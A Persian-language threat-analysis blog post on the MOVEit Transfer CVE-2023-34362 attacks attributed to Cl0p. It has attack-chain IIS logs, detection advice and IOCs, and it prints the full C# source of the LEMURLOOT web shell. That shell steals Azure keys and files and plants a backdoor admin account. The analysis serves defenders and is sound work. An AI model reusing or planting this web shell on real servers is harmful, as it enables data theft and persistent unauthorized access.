در این سری پستها در خصوص آسیب پذیری های اخیری که در MOVEit Transfer رخ داده و حواشی اون مطالبی رو منتشر کردیم. قسمت اول در خصوص آشنایی کلی با آسیب پذیری ها بوده، قسمت دوم در خصوص آنالیز و اکسپلویت آسیب پذیری CVE-2023-34362 و در قسمت سوم و آخر این مجموعه پستها ، سراغ حملات و نحوه شناسایی اون رفتیم.
در این حملات از آسیب پذیری CVE-2023-34362 استفاده شده و بازیگران تهدید برای استخراج داده از سازمانها و شرکتها بمنظور درخواست باج جهت عدم افشاء استفاده کردن.
از جمله گزارشات در خصوص این حملات میشه به گزارش مایکروسافت، اشاره کرد که حملاتی رو به گروه هکری Lace Tempest که قبلا با باج افزار Cl0p مرتبط بود ، نسبت دادن. در 6 ژوئن هم گروه Cl0p در سایت نشتشون، پستی رو ارسال کرده و از قربانیان خواسته بود که تا قبل از 14 ژوئن، باهاشون مذاکره کنن تا با پرداخت مبلغ باج، داده های سرقت شده رو حذف کنن. در حقیقت پشت این حملات گروه هکری Cl0p قرار داره که نمونه هایی از حملاتشون رو میتونید در گزارشهای هفتگی حملات منتشر شده در دارک وب بخونید.
با بررسی که محققین Rapi7 در شودان انجام دادن، بیش از 2500 سرور که تحت تاثیر این آسیب پذیری قرار می گرفت در اینترنت مشاهده کردن. در زمان نگارش این پست، این تعداد کاهش قابل توجهی داشته !
نتایج به تفکیک کشور :
مهاجمین با استفاده از این آسیب پذیری ، دسترسی اولیه به سیستم قربانی رو ایجاد میکنن و یه وب شل با نام human2.aspx که معروف به وب شل LEMURLOOT هست رو سیستم قربانی مستقر میکنن.
نکته ای که هست، مهاجم با اکسپلویت این آسیب پذیری دسترسی با امتیاز اکانت سرویس این برنامه ، moveitsvc ، داره که در گروه local administrators هستش و کارهای مختلفی مانند غیرفعال کردن آنتی ویروس و اجرای کد و … داره. در حقیت این وب شل یه گزینه برای پرسیست هستش.
محققین huntress با بررسی که روی زنجیره حملات در خصوص این آسیب پذیری انجام دادن، براساس IIS access logs متوجه شدن که زنجیره حملات ، بصورت زیر انجام میشه : ( برای خوانایی هدر کامل حدف شده)
1 2 3 4 5 6 7 8 9 10 11 12 13 |
2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200 2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200 2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200 2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200 2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200 2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200 2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200 2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200 2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500 2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200 2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200 2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200 2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404 |
از moveitisapi.dll برای SQLi با ارسال یه درخواست با یه هدر خاص استفاده میکنن و از guestaccess.aspx برای ایجاد یه session و استخراج توکن های CSRF و یسری کارایه دیگه استفاده میکنن.
در لاگ بالا ، 404 برای human2.aspx به این دلیله که اگه پسورد درست داده نشه، بکدور این پاسخ برمیگیردونه.
فایل human2.aspx که در حقیقت همون وب شل LEMURLOOT هست در مسیر C:\MOVEitTransfer\wwwroot\
قرار میگیره و در سی شارپ توسعه داده شده.
این بدافزار برای احرازهویت از یه پسورد هاردکد شده در داخلش استفاه میکنه و دستورات مختلفی مانند دانلود فایل از سیستم MOVEit Transfer ، استخراج تنظیمات Azure ، ایجاد و حذف یه کاربر میتونه اجرا کنه. داده ها هم به صورت gzip به سرور C2 ارسال میشن.
یه نکته دیگه اینکه خوده MOVEit Transfer یه فایل قانونی بنام human.aspx داره که مهاجمین برای فریب از human2.aspx استفاده کردن.
وب شل LEMURLOOT بصورت زیر هستش :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
<%@ Page Language="C#" %> <%@ Import Namespace="MOVEit.DMZ.ClassLib" %> <%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %> <%@ Import Namespace="MOVEit.DMZ.Application.Files" %> <%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %> <%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %> <%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %> <%@ Import Namespace="MOVEit.DMZ.Core" %> <%@ Import Namespace="MOVEit.DMZ.Core.Data" %> <%@ Import Namespace="MOVEit.DMZ.Application.Users" %> <%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %> <%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.IO.Compression" %> <script runat="server"> private Object connectDB() { var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings()); bool flag = false; string text = null; flag = MySQLConnect.Connect(); if (!flag) { return text; } return MySQLConnect; } private Random random = new Random(); public string RandomString(int length) { const string chars = "abcdefghijklmnopqrstuvwxyz0123456789"; return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); } protected void Page_load(object sender, EventArgs e) { var pass = Request.Headers["X-siLock-Comment"]; if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) { Response.StatusCode = 404; return; } Response.AppendHeader("X-siLock-Comment", "comment"); var instid = Request.Headers["X-siLock-Step1"]; string x = null; DbConn MySQLConnect = null; var r = connectDB(); if (r is String) { Response.Write("OpenConn: Could not connect to DB: " + r); return; } try { MySQLConnect = (DbConn) r; if (int.Parse(instid) == -1) { string azureAccout = SystemSettings.AzureBlobStorageAccount; string azureBlobKey = SystemSettings.AzureBlobKey; string azureBlobContainer = SystemSettings.AzureBlobContainer; Response.AppendHeader("AzureBlobStorageAccount", azureAccout); Response.AppendHeader("AzureBlobKey", azureBlobKey); Response.AppendHeader("AzureBlobContainer", azureBlobContainer); var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID"; string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n"; var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); if (!set.EOF) { while (!set.EOF) { reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value); set.MoveNext(); } } reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n"; String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username"; set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); if (!set.EOF) { while (!set.EOF) { reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value); set.MoveNext(); } } reStr += "----------------------------------\nInstID,InstName,ShortName\n"; query1 = "select id, name, shortname from institutions"; set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); if (!set.EOF) { while (!set.EOF) { reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value); set.MoveNext(); } } using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) { writer.Write(reStr); } } } else if (int.Parse(instid) == -2) { var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'"); new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); } else { var fileid = Request.Headers["X-siLock-Step3"]; var folderid = Request.Headers["X-siLock-Step2"]; if (fileid == null && folderid == null) { SessionIDManager Manager = new SessionIDManager(); string NewID = Manager.CreateSessionID(Context); bool redirected = false; bool IsAdded = false; Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded); string username = ""; var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid)); var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); var query1 = ""; if (!set.EOF) { username = (String) set["Username"].Value; } else { username = RandomString(16); query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services"); } query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username); new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); } else { DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid); SILGlobals siGlobs = new SILGlobals(); siGlobs.FileSystemFactory.Create(); EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create()); Response.ContentType = "application/octet-stream"; Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid)); using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { st.CopyTo(gzipStream); } } } } catch (Exception) { Response.StatusCode = 404; return; } finally { MySQLConnect.Disconnect(); } return; } </script> |
وب شل اولش بررسی میکنه که آیا درخواست HTTP حاوی فیلد هدر X-siLock-Comment و یه مقدار 36 کاراکتری در قالب GUID هست یا نه. این 36 کاراکتر در حقیقت بعنوان پسورد عمل میکنه. این پسورد هم متفاوت هستش و برای همین در IOCها، چندین هش برای human2.aspx مشاهده خواهید کرد. اگه هدر یا پسورد به درستی ارائه نشه، 404 برمیگردونه.
اگه پسورد درست باشه، یه پاسخ با هدر X-siLock-Comment و مقدار comment ارسال میکنه که نشون بده اتصال موفقیت آمیز بوده و منتظر گرفتن دستور هستش. بدافزار با استفاده از اطلاعاتی که از طریق متد SystemSettings.DatabaseSettings
گرفته، به سرور SQL وصل میشه.
در ادامه منتظر دستورات ارسالی هستش که در فیلدهای هدر HTTP با عنوان X-siLock-Step1 و X-siLock-Step2 و X-siLock-Step3 ارسال میشه.
عملکرد X-siLock-Step1 :
- اگه مقدار X-siLock-Step1 برابر 1- باشه، وب شل، تنظیمات سیستم Azure از جمله AzureBlobStorageAccount, AzureBlobKey و AzureBlobContainer جمع آوری و ارسال میکنه. بعدش یسری کوئری SQL برای بدست آوردن فایل، فولدر، اندازه فایل، مالک فایل و داده های مرتبط با قربانی انجام میده. داده های بدست اومده رو gzip میکنه و به مهاجم ارسال میکنه.
- اگه مقدار X-siLock-Step1 برابر 2- باشه، یه کاربر با LoginName و RealName برابر با Health Check Service رو با استفاده از کوئری زیر حذف میکنه. خود این کاربر در مراحل بعدی اضافه میشه.
1 |
Delete FROM users WHERE RealName='Health Check Service' |
عملکرد X-siLock-Step2 و X-siLock-Step3 :
- اگه مقدار X-siLock-Step1 برابر با 1- یا 2- نباشه، وب شل شروع به بررسی هدرهای X-siLock-Step2 و X-siLock-Step3 میکنه و مقادیر اونا رو به ترتیب داخل متغییرهای fileid و folderid ذخیره میکنه.
- این دو فیلد fileid و folderid بعنوان مسیر و فایل مورد نظر هستن که مهاجم میخواد از سیستم بیرون بکشه. وب شل بررسی میکنه اگه مقادیر این دو فیلد خالی نباشه، اون فایلهارو بدست میاره و با gzip فشرده و ارسال میکنه.
- اگه مقادیر این دو فیلد خالی باشه، وب شل دنبال یه اکانت با سطح پرمیشن 30 و
InstID =
برابر با مقدار ارسال شده توسط X-siLock-Step1 هستش، اگه نباشه یه کاربر جدید با نام کاربری تصادفی و LoginName و RealName برابر با Health Check Service ایجاد و یه Session فعال طولانی مدت به اون اختصاص میده.
همچنین محققا در 30 مه براساس یه لاگی ، متوجه شدن که پروسس w3wp.exe در همون زمانی که human2.aspx ایجاد شده، کامپایلر سی شارپ، csc.exe رو اجرا کرده.
در زمان کامپایل، یه DLL در مسیر زیر ایجاد شده (مقادیر نسخه دات نت و همچنین دو مسیر انتهایی میتونه متفاوت باشه) :
1 |
C:\Windows\Microsoft.net\Framework64\v4.0.30319\Temporary ASP.NET Files\root\9a11d1d0\5debd404 |
در این دایرکتوری یه فایل با نام App_Web_wrpngvm2.dll ایجاد شده که البته نامش میتونه مقادیر تصادفی باشه. با بررسی که کردن متوجه شدن که این فایل، فایل پیش از کامپایل human2.aspx هستش.
کلاس human2_aspx مسئول پر کردن محتوای این فایل هستش.
وقتی یه فایل ASPX رندر میشه، دات نت، اونو از قبل کامپایل آماده میکنه و نتایج در این فایلهای موقت مینویسه. در حقیقت این فایلها موارد باقی مانده از csc.exe هستن که در حال اماده سازی فایل جدید human2.aspx هستش.
اگه یه فایل App_web_….dll مشاهده کردید، یعنی وب شل کامپایل شده و شما احتمالا هک شدید.
راههای تشخیص :
برای شناسایی یسری رول YARA و SIGMA منتشر شده که میتونید ازشون استفاده کنید.
یسری نکات هم ارائه شده که میتونه در زمان بررسی سیستمونون کمک کننده باشه:
- آدرس رجیستری زیر مسیر روت رو نشون میده :
1 |
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->WebBaseDir |
- مسیر رجیستری زیر نشون دهنده مسیر لاگ های برنامه هستش :
1 |
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->LogsBaseDir |
- اگه ماشین هدف MYSQL هستش، میتونید از مسیر زیر اطلاعاتی در خصوص دیتابیس بدست بیارید :
1 |
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock\MySQL |
- اگه از MSSQL یا Azure SQL استفاده میکنید، میتونید از مسیر زیر اطلاعاتی بدست بیارید :
1 |
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock\SQLServer |
IOCهای گزارش :
Files
- C:\MOVEitTransfer\wwwroot\human2.aspx
38e69f4a6d2e81f28ed2dc6df0daf31e73ea365bd2cfc90ebc31441404cca264
3a977446ed70b02864ef8cfa3135d8b134c93ef868a4cc0aa5d3c2a74545725b
b1c299a9fe6076f370178de7b808f36135df16c4e438ef6453a39565ff2ec272
c77438e8657518221613fbce451c664a75f05beea2184a3ae67f30ea71d34f37
702421bcee1785d93271d311f0203da34cc936317e299575b06503945a6ea1e0
387cee566aedbafa8c114ed1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a
4359aead416b1b2df8ad9e53c497806403a2253b7e13c03317fc08ad3b0b95bf
daaa102d82550f97642887514093c98ccd51735e025995c2cc14718330a856f4
6015fed13c5510bbb89b0a5302c8b95a5b811982ff6de9930725c4630ec4011d
9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead
c56bcb513248885673645ff1df44d3661a75cfacdce485535da898aa9ba320d4
0ea05169d111415903a1098110c34cdbbd390c23016cd4e179dd9ef507104495
d49cf23d83b2743c573ba383bf6f3c28da41ac5f745cde41ef8cd1344528c195
5b566de1aa4b2f79f579cdac6283b33e98fdc8c1cfa6211a787f8156848d67ff
f0d85b65b9f6942c75271209138ab24a73da29a06bc6cc4faeddcb825058c09d
fe5f8388ccea7c548d587d1e2843921c038a9f4ddad3cb03f3aa8a45c29c6a2f
9e89d9f045664996067a05610ea2b0ad4f7f502f73d84321fb07861348fdc24a
ea433739fb708f5d25c937925e499c8d2228bf245653ee89a6f3d26a5fd00b7a
cf23ea0d63b4c4c348865cefd70c35727ea8c82ba86d56635e488d816e60ea45
2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5
348e435196dd795e1ec31169bd111c7ec964e5a6ab525a562b17f10de0ab031d
b9a0baf82feb08e42fa6ca53e9ec379e79fbe8362a7dac6150eb39c2d33d94ad
a1269294254e958e0e58fc0fe887ebbc4201d5c266557f09c3f37542bd6d53d7
48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a
d477ec94e522b8d741f46b2c00291da05c72d21c359244ccb1c211c12b635899
3ab73ea9aebf271e5f3ed701286701d0be688bf7ad4fb276cb4fbe35c8af8409
IP addresses
- 89.39.105[.]108 (WorldStream)
- 5.252.190[.]0/24
- 5.252.189-195[.]x
- 148.113.152[.]144 (reported by the community)
- 138.197.152[.]201
- 209.97.137[.]33
- 5.252.191[.]241
- 5.252.191[.]103
- 5.252.189[.]210
- 5.252.189[.]130
- 5.252.190[.]119
- 5.252.190[.]100
- 5.252.190[.]117
- 5.252.191[.]31
- 5.252.190[.]244
- 165.227.147[.]215
User Agents:
- Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/113.0.0.0+Safari/537.36
- Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:109.0)+Gecko/20100101+Firefox/114.0
- Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.54+Safari/537.36
منابع: